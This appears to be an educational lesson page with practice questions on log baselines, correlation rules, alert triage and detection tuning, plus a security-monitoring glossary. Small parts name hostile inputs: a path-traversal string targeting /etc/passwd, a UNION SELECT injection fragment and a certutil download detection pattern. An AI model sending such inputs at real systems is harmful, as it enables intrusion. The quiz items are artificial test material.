Question 9 of 10

A recently changed service password causes rhythmic failures from one expected internal server, with no success or wider account pattern. What benign cause should be tested first?
  1. A broad password spray across users
  2. External replay of a stolen session token
  3. A stored old credential on that server
  4. An attacker registering a new MFA method
Show answerHide answer

Save this lesson to see this answer.

Question 10 of 10

A user resets a stolen password. Later, an application continues reading mail under a consent grant created during the suspicious session. What evidence is central to assessing the continued access?
  1. The consent grant and application access scope
  2. Only logins using the previous password
  3. Only the next interactive sign-in and its MFA result
  4. The reset time compared with later password failures
Show answerHide answer

Save this lesson to see this answer.

Set 4: Build baselines and correlation rules10 Practice Questions

Save this lesson to see every answer and practice every set.

Question 1 of 10

A server's reference mean is 12 GB/day and standard deviation is 2 GB/day. Today it sends 19 GB. What is its z-score?
  1. 3.5
  2. 7
  3. 9.5
  4. 2.5
Show answerHide answer

Save this lesson to see this answer.

Question 2 of 10

A team compares a new payroll analyst's access with other payroll analysts doing similar work. What kind of comparison is this?
  1. A single-event signature
  2. A peer-group baseline
  3. An absence-rule threshold
  4. A reputation match
Show answerHide answer

Save this lesson to see this answer.

Question 3 of 10

A rule should detect one source failing against many different accounts. What aggregation best measures the pattern?
  1. Failure totals per target account
  2. Distinct ports per destination host
  3. All event totals per authentication server
  4. Distinct users grouped by source address
Show answerHide answer

Save this lesson to see this answer.

Question 4 of 10

A threshold needs 12 failures per user within 6 minutes. Seven occur at 14:04–14:05 and five at 14:07–14:08. Fixed blocks are 14:00–14:06 and 14:06–14:12. What evaluation preserves the per-user rule and detects this burst without changing the threshold?
  1. Fixed blocks starting at 14:01 and 14:07
  2. The same fixed blocks run every ten seconds
  3. A six-minute sliding window for the same user
  4. A sliding window grouped only by the server
Show answerHide answer

Save this lesson to see this answer.

Question 5 of 10

A monthly finance export is repeatedly flagged against an ordinary-day baseline. The reference data is complete and the job is approved. How should the comparison improve?
  1. Raise every server's global volume threshold
  2. Remove all future peak observations before analysis
  3. Exempt all approved users from anomaly monitoring
  4. Use equivalent business-cycle periods for that workload
Show answerHide answer

Save this lesson to see this answer.

Question 6 of 10

A failure-then-success rule groups failures by user and source. A success occurs from the same source for a different user. Does it complete that user's sequence?
  1. Yes; source alone links the later success
  2. No; the user and source must identify the failed group
  3. Yes; success closes the nearest failed group in time
  4. No; success must fall in the failure-only window
Show answerHide answer

Save this lesson to see this answer.

Question 7 of 10

During eight minutes, 40 sources each fail once against three different accounts; no account repeats across sources. Every record names app "staff-portal" and client "cli-71". Existing per-account and per-source rules stay quiet. What design can expose the whole pattern?
  1. Aggregate by app, client, and time across users and sources
  2. Group by account and app; count distinct source addresses
  3. Group by source and app; count distinct target accounts
  4. Group by account and source; require a subsequent success
Show answerHide answer

Save this lesson to see this answer.

Question 8 of 10

A baseline was trained during a known month-long compromise. After cleanup, a recurring unauthorized transfer appears normal to that model. What is the most relevant repair?
  1. Raise all transfer scores but keep the reference
  2. Keep learned relationships and lower only volume limits
  3. Rebuild with clean representative reference periods
  4. Add more history from that compromised period
Show answerHide answer

Save this lesson to see this answer.

Question 9 of 10

A collector delivers the same authentication event twice with the same unique identifier. How should a count-based rule treat the deliveries?
  1. Count both delivered records
  2. Discard both copies sharing the ID
  3. Count one event after deduplication
  4. Count two when their arrival times differ
Show answerHide answer

Save this lesson to see this answer.

Question 10 of 10

A rule needs 6 failures in 3 minutes, then success within 2 minutes for the same user and source. Records show four unique failures at 09:01–09:03 and success at 09:04. Success arrives first; two failures are each delivered twice later. What result should the intended rule produce?
  1. Alert: six delivered failures precede success in event time
  2. No alert: four unique failures are below the threshold
  3. No alert: the success arrived before the failures
  4. Alert: any failures followed by success are sufficient
Show answerHide answer

Save this lesson to see this answer.

Set 5: Triage alerts and scope the evidence10 Practice Questions

Save this lesson to see every answer and practice every set.

Question 1 of 10

An authorized scanner performs exactly the scanning behavior described by a rule during an approved test. What outcome label fits this material's definitions?
  1. False-positive match
  2. False-negative case
  3. Benign true positive
  4. True-negative case
Show answerHide answer

Save this lesson to see this answer.

Question 2 of 10

An alert title claims a successful privileged sign-in. The linked raw event is a failure for the named account. What should the analyst do first?
  1. Validate the rule and parser against the raw outcome
  2. Accept the title and record successful access
  3. Close the entire user case without further validation
  4. Raise severity but leave the success claim unchanged
Show answerHide answer

Save this lesson to see this answer.

Question 3 of 10

A reputation service has no reports for a domain first seen today. What conclusion fits that result?
  1. No public reports establish that the new domain is safe
  2. First-seen status alone establishes malicious infrastructure
  3. The clean report establishes trust in the contacting program
  4. Reputation is unresolved; investigate the observed activity
Show answerHide answer

Save this lesson to see this answer.

Question 4 of 10

A rule raises 160 alerts: 12 malicious, 100 authorized behavior matches, and 48 incorrect matches. It also misses 4 malicious cases found by testing. What are alert precision and recall?
  1. 25% precision and 75% recall
  2. 7.5% precision and 75% recall
  3. 7.5% precision and 92.5% recall
  4. 75% precision and 7.5% recall
Show answerHide answer

Save this lesson to see this answer.

Question 5 of 10

A spray alert has verified failures, a later success, and immediate sensitive data access. A caller says a test was scheduled, but no authorization record is available; the account remains active. What next action is best?
  1. Close as a test and note that approval was unavailable
  2. Escalate with evidence and the unverified test claim
  3. Wait for a full investigation of every account
  4. Close as failed spraying and note the one success
Show answerHide answer

Save this lesson to see this answer.

Question 6 of 10

A proxy search finds six hosts contacting an address. Email records show 18 recipients of a document, but no mapping between recipients and hosts is available. What scope statement is justified?
  1. Six recipients executed it; twelve only received it
  2. All recipients executed it; six devices made contact
  3. Twelve recipients are unaffected after six hosts made contact
  4. Six hosts contacted it; execution is unresolved
Show answerHide answer

Save this lesson to see this answer.

Question 7 of 10

An authorized scanning alert is ready to close. What evidence makes the closure reproducible?
  1. The raw match and its approval reference
  2. The analyst name and routine closure category
  3. The scanner's current name without its event times
  4. Rule description and default severity
Show answerHide answer

Save this lesson to see this answer.

Question 8 of 10

Two alerts arrive: a high-severity low-confidence match on an isolated test host, and a medium-severity high-confidence credential misuse on a production identity server. How should handling order be decided?
  1. Use severity first, then confidence as a tie-breaker
  2. Use confidence alone without the affected asset role
  3. Combine severity, confidence, and asset criticality
  4. Use asset criticality alone before checking confidence
Show answerHide answer

Save this lesson to see this answer.

Question 9 of 10

A confidential spreadsheet may be malicious. What public-service check best limits unnecessary disclosure?
  1. Upload it after renaming the file
  2. Paste its contents into a public chatbot
  3. Visit embedded links from the work laptop
  4. Look up its hash for existing analysis
Show answerHide answer

Save this lesson to see this answer.

Question 10 of 10

An escalation note says "Account compromised; investigate" and links one alert. The current analyst has verified a success and export but has not checked other accounts. What addition most improves the handoff?
  1. A timed evidence summary with scope and open checks
  2. A full account history treating unverified actions as confirmed
  3. A claim that other accounts are unaffected
  4. A rule-purpose summary without session and export evidence
Show answerHide answer

Save this lesson to see this answer.

Set 6: Design and maintain useful detections10 Practice Questions

Save this lesson to see every answer and practice every set.

Question 1 of 10

A Sigma selection has CommandLine|contains|all with alpha and beta. What command-line content matches this selection?
  1. Either fragment appears in the command line
  2. Both fragments appear in the command line
  3. Neither fragment appears in the command line
  4. Only the first fragment appears
Show answerHide answer

Save this lesson to see this answer.

Question 2 of 10

What does storing rule changes in version control primarily add?
  1. Automatic confirmation of malicious alerts
  2. Guaranteed collection of fields missing from sources
  3. Automatic prevention of all false negatives
  4. Traceable changes that can be reviewed and tested
Show answerHide answer

Save this lesson to see this answer.

Question 3 of 10

Approved scanning creates recurring noise in one port-scan rule. What exclusion has the narrowest justified scope?
  1. The scanner subnet and identity across all detection rules
  2. The scanner identity and rule for all business hours
  3. The scanner identity, address, rule, and scan window
  4. The scanner address and every rule for maintenance day
Show answerHide answer

Save this lesson to see this answer.

Question 4 of 10

A rule requires the certutil.exe image AND command text containing both "urlcache" and "http". It excludes events only when BOTH user="svc-deploy" and host="BUILD-02". A has both fragments, svc-deploy, BUILD-02. B has both fragments, svc-deploy, WS-31. C has only "urlcache", patel, WS-31. All three use certutil. Which events match?
  1. B only
  2. A and B
  3. B and C
  4. A only
Show answerHide answer

Save this lesson to see this answer.

Question 5 of 10

A rule produces 240 alerts with 18 malicious. A scoped exclusion removes 120 authorized matches while preserving all 18 observed malicious alerts. What result should be reported?
  1. 15% precision, 50% less volume; test the boundaries
  2. 7.5% precision, 50% less volume; retained observed cases
  3. 15% precision, 75% less volume; retain the tested cases
  4. 15% precision, 50% less volume; future recall is established
Show answerHide answer

Save this lesson to see this answer.

Question 6 of 10

A rule tagged for an ATT&CK technique has never been run against local telemetry. What does the tag establish?
  1. Local collection of every required field
  2. Successful local replay of the behavior
  3. The technique the rule intends to cover
  4. The absence of any remaining coverage gap
Show answerHide answer

Save this lesson to see this answer.

Question 7 of 10

After a parser update, alert counts drop sharply. The rule has not changed; its positive replay now has an empty normalized command-line field. What is the best diagnosis?
  1. The rule's alert precision improved
  2. The threat behavior became rarer
  3. The command-line check is unnecessary
  4. The required data field regressed
Show answerHide answer

Save this lesson to see this answer.

Question 8 of 10

A rule matches a tool by exact image filename and detects its original name. A test with a renamed copy carrying the same behavior is missed. How should the result be handled?
  1. Treat the original passing test as full variant coverage
  2. Document the limit and test additional behavior signals
  3. Broaden technique tags while retaining the same logic
  4. Exclude renamed tools despite the behavior requirement
Show answerHide answer

Save this lesson to see this answer.

Question 9 of 10

An exclusion approved for a short migration remains active months later without an owner or review date. What maintenance action is needed?
  1. Keep it indefinitely because its original approval was valid
  2. Review its continuing need and assign ownership and expiry
  3. Copy it into every new rule for consistent suppression
  4. Raise all rule thresholds so the exception is less noticeable
Show answerHide answer

Save this lesson to see this answer.

Question 10 of 10

A rule alerts at 8 failures in 5 minutes. Approved sync jobs create 16 failures from svc-sync on SYNC-04 during 01:00–01:10. Attack tests produce 8 failures using svc-sync from WS-14 at 01:05, and 14 from SYNC-04 at 03:00. What change removes the approved noise while preserving both tested detections?
  1. Exclude svc-sync on every host during 01:00–01:10
  2. Exclude svc-sync on SYNC-04 throughout the day
  3. Exclude svc-sync on SYNC-04 only during 01:00–01:10
  4. Raise the threshold to 16 failures in 5 minutes
Show answerHide answer

Save this lesson to see this answer.

Stuck on your own question? Homework Help

Key Terms

106 Key Terms, each with its definition

A

Absence rule
An absence rule detects a missing expected event or signal, making silence visible when a source should normally be reporting.
A domain controller missing its expected heartbeat triggers a health check of its collection path.
Actor
An actor is the identity that performs an action, distinct from the account, group, or resource changed by that action.
The helpdesk account is the actor when it adds a service account to a privileged group.
Agent-based collection
Agent-based collection uses software on a host to read and forward its logs, often with buffering, filtering, and encryption.
A host agent stores events locally during a collector outage and forwards them after reconnection.
Aggregation
Aggregation combines multiple events into a summary, such as a count or byte total, reducing volume while losing individual detail.
A minute-level deny count saves space but cannot replace raw entries for every investigation.
Alert
An alert is a notification that observed events matched a monitoring rule or analytic condition and need assessment.
A scanning alert sends the analyst to the connection records behind the match.
Alert fatigue
Alert fatigue is reduced analyst attention caused by repeated low-value alerts, making real malicious activity easier to overlook.
Grouping duplicate matches helps analysts focus on distinct cases instead of repeatedly closing the same burst.
Anomaly
An anomaly is a significant deviation from expected behavior that requires explanation using activity and business context.
An unusually large transfer leads the analyst to check its destination and any scheduled data migration.
Application audit log
An application audit log records relevant actions inside a service, such as sign-ins, data access, exports, and permission changes.
The audit log shows which account exported records after a suspicious sign-in to the application.
ATT&CK mapping
An ATT&CK mapping labels the techniques a detection intends to cover, helping plan relevant monitoring and identify gaps.
A PowerShell technique tag describes intent, while replay tests show whether the local rule detects it.

B

Base rate
A base rate is how common a kind of activity is in the underlying population, which affects how useful an alerting result is at scale.
Rare attacks among millions of benign events mean even a small misfire rate can fill the queue.
Base64
Base64 represents bytes using text characters, allowing data such as encoded commands to travel through text-based fields.
The analyst decodes the bytes of a PowerShell command and then interprets them as UTF-16LE text.
Baseline
A baseline describes expected behavior or configuration for an entity or peer group over a reference period suitable for its normal cycles.
Monday sign-in volumes are compared with earlier Mondays instead of a quiet weekend period.
Beaconing
Beaconing is repeated communication with a command-and-control destination, often showing similar requests at regular or jittered intervals.
Small overnight contacts every minute lead the analyst to check the initiating process and destination.
Benign true positive
A benign true positive correctly detects the stated behavior when that behavior is authorized and needs no incident response.
The approved vulnerability scanner triggers a scanning rule during its documented scan window.
Brute force
Brute force is repeated password guessing against an account, often visible as a concentrated series of authentication failures.
A high count for one target account leads the analyst to inspect sources and any later success.

C

Clock drift
Clock drift is a difference between a system's clock and a reliable time reference that can distort event order and correlation.
A server clock seven minutes fast makes its process event appear later than related network activity.
Cloud audit log
A cloud audit log records API activity with details such as caller, action, time, origin, target parameters, and result.
The analyst separates the caller's identity from the account named as the target of a new access key.
Common Event Format (CEF)
Common Event Format (CEF) combines a pipe-separated event header with key-value extensions for exchanging security events.
A CEF-aware parser reads the signature and severity before extracting source and destination values.
Control plane
The control plane manages resources and permissions, so its audit logs show actions that create, change, or delete those resources.
A security-group change appears in management audit records rather than in an object-read log.
Correlation
Correlation links related events across a defined span using shared attributes or patterns that reveal more than one record alone.
Failures followed by success for the same user and origin create a sequence worth reviewing.
Credential stuffing
Credential stuffing tries username-password pairs leaked from other services, taking advantage of people reusing credentials.
A campaign tests many credential pairs across accounts and addresses, with some successful sessions.

D

Data exfiltration
Data exfiltration is unauthorized transfer of data out of an environment, which may appear as unusual destinations, volumes, or timing.
A file server's upload-heavy overnight session to a new destination prompts a check of backup schedules.
Data plane
The data plane handles access to data within resources, with data-access logs recording actions such as individual object reads and writes.
To check whether objects were read, the analyst searches enabled storage data events.
Deduplication
Deduplication removes repeated deliveries of the same event so retries and collection overlap do not inflate counts.
A unique event identifier lets the platform count one failure once despite two delivered copies.
Detection engineering
Detection engineering is the repeatable design, testing, deployment, and maintenance of logic that identifies relevant threat behavior.
The engineer checks data availability before writing a rule and keeps test results with its documentation.
Detections as code
Detections as code applies version control, review, and automated testing to rules so changes are traceable and repeatable.
A threshold change is reviewed with its test evidence before the revised rule is deployed.
DHCP lease
A DHCP lease assigns an IP address to a device for a defined interval, allowing past address use to be linked to that device.
The lease active at 11:20 links a proxy request to the laptop that held the address then.
Distinct count
A distinct count measures how many different values occur in a group, ignoring repeated occurrences of the same value.
Twenty failures for one username give a distinct-user count of one, not twenty.
DNS tunneling
DNS tunneling carries data inside DNS exchanges, often creating long query labels and many unique subdomains under one domain.
A laptop sends unusually long query names to one rare domain while its ordinary DNS volume stays low.
Domain generation algorithm
A domain generation algorithm produces changing candidate domain names for malware contact, often causing many failed DNS lookups.
A workstation queries many generated-looking domains and receives unusually frequent NXDOMAIN answers.

E

Endpoint detection and response (EDR)
Endpoint detection and response (EDR) collects host telemetry and detections about activity such as processes, files, and connections.
EDR links an external connection to the script interpreter that initiated it on a workstation.
Enrichment
Enrichment adds context to an event, such as asset ownership, account privilege, destination reputation, or historical address assignment.
Asset enrichment reveals that a series of service-account failures originated on a marketing laptop.
Escalation handoff
An escalation handoff transfers a suspected incident with its summary, entities, evidence, urgency, unanswered questions, and immediate risks.
The next team receives saved queries and a concern about a still-active session alongside the analyst's conclusion.
Event
An event is an observable occurrence in a system or network, such as a sign-in, a new process, or a connection attempt.
A host records a process-start event when a user opens a script interpreter from a document.
Event time
Event time is the timestamp of the activity described by a record, distinct from the later time at which a collector receives it.
A buffered sign-in keeps its original event time even when it arrives twenty minutes late.
Exclusion
An exclusion removes a defined case from a rule and needs a narrow scope, a documented reason, an owner, and a review date.
An exclusion for an approved scanner applies to one specific rule and its scan window instead of the whole internal network.

F

Facility
A syslog facility identifies the general source category encoded in the priority value alongside the message's severity.
Dividing the priority in <38> by eight gives facility 4 with severity remainder 6.
False negative
A false negative is malicious activity that monitoring fails to detect, often discovered later through testing, hunting, or an incident.
A slow password attack stays below a raised threshold and is later found during a hunt.
False positive
A false positive is an alert that incorrectly identifies the behavior its rule intends to detect, such as a match caused by bad parsing.
A swapped address mapping makes unrelated traffic appear to be an internal host's scan.
File integrity monitoring
File integrity monitoring detects changes to selected important files so unexpected modifications can be reviewed with their context.
An unexpected change to the hosts file prompts a check of the process and user responsible.
Flow record
A flow record summarizes a network conversation using addresses, ports, protocol, timing, packets, and bytes without payload.
Flow records show that a server sent far more data than it received during an encrypted session.
Forced browsing
Forced browsing requests guessed or discovered paths to find resources that ordinary navigation may not expose to the requester.
A burst of 404 entries for administration and backup paths suggests automated resource discovery.

G

Grouping key
A grouping key is the field or combination of fields that determines which events belong to the same aggregate or sequence.
Grouping failures by source and counting distinct users reveals broad attempts from one address.

H

Heartbeat
A heartbeat is an expected recurring signal that shows a source or collection path is still reporting to the monitoring platform.
A missed domain-controller heartbeat opens a collection-health alert before an analyst needs its logs.
Horizontal sweep
A horizontal sweep probes the same port on many target hosts to find systems offering a particular network service.
One source tries port 22 across a server subnet, so the analyst checks its approved scanning role.

I

Identity provider
An identity provider authenticates users or workloads for services and can centralize sign-in records across multiple applications.
The identity-provider log connects a new device's successful sign-in with the application accessed.
Immutable storage
Immutable storage protects retained records from modification or deletion under its configured controls for the protected period.
Central immutable copies remain available after an attacker clears a local server log.
Impossible travel
Impossible travel is a sign-in pattern whose apparent locations cannot reasonably be reached within the time between the events.
Two distant sign-ins trigger checks of VPN exits, devices, session results, and geolocation accuracy.
Incident
An incident threatens information or systems or involves an actual or imminent violation of law, security policy, procedures, or acceptable-use policy.
Verified unauthorized data access turns the alert into an incident needing a response handoff.
Indicator of compromise
An indicator of compromise is an observable artifact, such as a domain or file hash, that suggests a system may be compromised.
The analyst searches a suspicious domain across DNS and proxy logs to identify hosts that contacted it.
Ingest time
Ingest time is when the logging platform receives an event, so delays between activity and collection can be measured.
The gap between event and ingest times reveals that a cloud feed is arriving later than usual.

J

Jitter
Jitter is variation in the delay between repeated contacts, which can make command-and-control traffic less obviously regular.
The analyst considers contact patterns with small timing changes instead of requiring perfectly equal intervals.

L

Lateral movement
Lateral movement is an attacker moving between internal systems, often using remote services and credentials to extend access.
Unexpected workstation-to-workstation RDP leads the analyst to review sign-ins on the target hosts.
Living off the land binary
A living off the land binary is a legitimate system tool that an attacker misuses to perform activity while blending into normal work.
The analyst checks certutil's command line after it downloads a file from an unfamiliar address.
Log
A log is a record of events that preserves details such as time, host, user, action, and outcome for later review.
The analyst searches the VPN log to identify the account that opened a remote-access session.
Logon type
A Windows logon type identifies the access path of an authentication event, such as interactive, network, service, batch, or Remote Desktop.
Type 10 identifies remote-interactive access, while type 3 identifies network access.

M

Mean time to detect
Mean time to detect measures average delay from malicious activity starting to its detection, using consistently defined start and detection times.
A team compares detection delay across releases while also checking whether its sources are still reporting.
MFA fatigue
MFA fatigue pressures a user with repeated authentication prompts until an approval may let an attacker complete a sign-in.
Several denied pushes followed by one approval prompt a check of the resulting session's actions.
Monitoring tampering
Monitoring tampering changes or disables security visibility, including clearing audit logs, stopping sensors, or weakening audit policies.
A stopped sensor followed by a sharp telemetry drop increases the urgency of a host alert.

N

Nested group membership
Nested group membership places one group inside another, allowing members to gain privileges through an indirect membership path.
Adding a user to a group inside Domain Admins can grant powerful access without a direct addition.
Normalization
Normalization converts equivalent events into common field names, types, and values so different sources can be searched together.
Windows and cloud authentication failures both receive event.outcome=failure in the common schema.

O

OAuth consent grant
An OAuth consent grant authorizes an application to access specified data or capabilities and can preserve access after a user's password changes.
The analyst reviews an application's mail permissions instead of treating a password reset as enough.

P

Parent process
A parent process is the process that starts another process, providing context about how a program's execution began.
Word starting PowerShell links a script interpreter to the document the user had just opened.
Parsing
Parsing extracts named fields from raw log text or structured records so searches can filter, compare, group, and count events.
The parser separates an SSH failure into username, source address, source port, and event time.
Password spraying
Password spraying tries one or a few likely passwords across many accounts, often keeping attempts per account below lockout thresholds.
Many accounts fail once from one source even though no individual account reaches its failure limit.
Path traversal
Path traversal attempts to reach files outside an intended directory by manipulating paths, commonly with parent-directory segments.
Decoding a request reveals ../../../etc/passwd, which points to an attempted escape from the web path.
Peer group
A peer group contains users or systems with similar roles, supporting comparisons when an entity's own history is limited.
A new finance user's data access is compared with other finance staff doing the same work.
Percentile
A percentile marks a position in an ordered reference distribution and helps compare an observation with the range of historical values.
A transfer above the reference 99th percentile prompts context checks without assuming bell-shaped volumes.
Persistence
Persistence is a means of maintaining access across events such as reboot or logoff, often through services, tasks, accounts, or startup settings.
A new scheduled task points to an executable in a user-writable folder and runs at logon.
Pivoting
Pivoting moves from an indicator to related records through a justified link, such as an address to hosts or a process to its user.
After finding other hosts contacting a domain, the analyst searches their endpoint process records.
Precision
Precision, for alert quality here, is the share of all alerts confirmed malicious, including authorized matches in the denominator.
Six confirmed malicious alerts among 200 total yield 3% precision even if many other matches were authorized.
Priority
Priority sets the order for handling alerts using impact, confidence, and the criticality of affected assets or identities.
A medium-severity alert on a domain controller moves ahead of a high-severity test-system alert.
Prompt injection
Prompt injection places instructions in untrusted input to influence an AI system, including attacker-controlled text within logs.
The assistant treats an instruction embedded in a user-agent string as evidence text, not a command.
Purple-team exercise
A purple-team exercise brings offensive and defensive testers together to check whether relevant simulated behavior produces useful detections.
The exercise reveals that a parser update removed a field required by an otherwise unchanged rule.

R

Recall
Recall is the fraction of real malicious cases detected, calculated using detected cases plus known missed cases as the denominator.
The team uses controlled attack tests to reveal misses that ordinary closure records cannot show.
Regression test
A regression test checks that a change has preserved expected detection behavior that worked before the change was made.
After tuning, the engineer replays a known positive case and checks malicious activity near the new exception.
Regular expression
A regular expression is a text pattern used to find matching strings or capture fields from entries with recognizable layouts.
An optional regex group handles both ordinary SSH failures and failures naming an invalid user.
Reputation lookup
A reputation lookup checks existing reports about an address, domain, or hash to add context without replacing analysis of the activity.
A shared-hosting report leads to further checks because another tenant may have caused the report.
Resource identifier
A resource identifier identifies a cloud resource more reliably than a temporary IP address when infrastructure is created and removed rapidly.
An instance ID links activity across an address change during an autoscaling event.
Retention
Retention is the length of time logs are kept, based on investigation needs and applicable legal, regulatory, or contractual duties.
The team exports sign-in records so an investigation can search beyond the provider's default history.
Risk-based alerting
Risk-based alerting combines scored observations for one entity over a defined period and alerts when the accumulated score crosses a threshold.
A new-location sign-in and unusual data use contribute to one user alert instead of separate weak alerts.
Runbook
A runbook gives practical guidance for assessing an alert, including what evidence to inspect and how to make a supported decision.
The rule's runbook directs the analyst to check raw events, authorization, and subsequent successes.

S

Schema
A schema defines agreed field names, data types, and value conventions that give structured events a consistent meaning.
The schema stores source.ip as an address so a query can test membership in an internal subnet.
Scoping
Scoping searches related entities and activity to assess how widely a suspected problem extends beyond the initial alert.
A destination pivot finds other contacting hosts, which are then checked for matching execution evidence.
Script block logging
Script block logging records PowerShell script content as it runs, providing detail beyond the launch command in process-creation records.
Event 4104 helps the analyst read the script associated with an encoded PowerShell launch.
Selection
A Sigma selection is a named set of matching conditions that the rule's detection condition combines with other selections.
One selection matches the executable path while another requires both command-line fragments.
Service principal
A service principal is an application identity used to access resources, with credentials and permissions that need monitoring like human accounts.
An unexpected secret added to a powerful service principal creates a new way to authenticate.
Severity
Severity describes importance or potential impact within a source or rule's rating system; its meaning depends on that system.
An Informational syslog authentication failure can still belong to a password attack.
Shannon entropy
Shannon entropy measures the randomness of a string's characters in bits per character and can help identify generated-looking names.
High-entropy DNS names prompt checks of domain history and query volume because cloud names can look similar.
Shared responsibility model
The shared responsibility model divides cloud security duties between the provider and customer, including customer monitoring of its own activity.
The customer enables resource audit exports instead of assuming provider monitoring covers its accounts.
SIEM
A SIEM collects and searches events from multiple sources, correlates their fields and patterns, and presents alerts and monitoring views.
The analyst uses the SIEM to join normalized sign-ins with related account-change events.
Sigma
Sigma is an open YAML format for portable log-detection rules whose logic can be translated into supported backend query languages.
A Sigma rule selects Windows process creation and combines image and command-line conditions.
Sliding window
A sliding window evaluates a moving recent time interval, allowing a burst crossing fixed clock boundaries to be assessed together.
A five-minute look-back catches failures split between two adjacent five-minute reporting blocks.
SQL injection
SQL injection is an attempt to make application input alter a database query, often visible as query-language fragments in request parameters.
An apostrophe and UNION SELECT in a URL parameter lead the analyst to inspect database audit events.
Standard deviation
Standard deviation measures how widely values are spread around their mean and supplies the spread used in a z-score.
A stable server's small transfer spread makes a sudden large upload stand out in its baseline.
Syslog
Syslog is a standardized message format and logging system widely used by network devices and Unix-like hosts to report events.
A firewall sends syslog messages to a collector that forwards them to the monitoring platform.

T

Target
A target is the account, group, resource, or setting affected by an action, and may differ from the identity carrying it out.
In a credential-creation event, the target user appears in the request parameters.
Timeline
A timeline orders relevant events by consistent timestamps so the analyst can connect actions and distinguish observations from hypotheses.
A handoff timeline lists sign-in failures, a later successful sign-in, and mailbox access in UTC with their evidence links.
Triage
Triage is the first assessment of an alert's validity, urgency, and next action, supported by raw evidence and relevant context.
The analyst validates the authentication events before deciding whether to close or escalate the alert.
True positive
A true positive, under this material’s outcome labels, is real malicious activity that a detection successfully identifies.
Confirmed unauthorized credential use supplies a true-positive case for the rule’s later review.
Tuning
Tuning adjusts detection logic, scope, thresholds, or context to improve actionable output while retaining the intended threat behavior.
The engineer changes an exception for an authorized scanner after reviewing its matches in triage records.

U

UEBA
UEBA means user and entity behavior analytics, which builds behavioral profiles and identifies deviations using entity history and peers.
UEBA links a new-location sign-in with data access that differs from the user’s usual finance role.
URL encoding
URL encoding represents selected bytes with a percent sign and two hexadecimal digits, which must be decoded to inspect hidden text.
Decoding %27 reveals an apostrophe inside an injection-like query parameter.

V

Vertical scan
A vertical scan probes many ports on one target host, often producing many small denied or reset connection attempts.
A workstation contacts 80 different ports on one database server within a short interval.

W

Web shell
A web shell is a malicious server-side script that lets an attacker issue commands through requests to a web application.
A new upload-folder script receives POST requests while the web-server process starts a shell.

Z

Z-score
A z-score expresses how many standard deviations an observation lies above or below the mean of its reference data.
To score a server's daily transfer volume, the analyst subtracts its normal mean, then divides by the spread of its reference data.

About this lesson

By StudeliReport a mistake

Make your own Study Materials

Turn your notes, slides and documents into Study Guides, Practice Questions, Flashcards and 6 more tools.

Get Started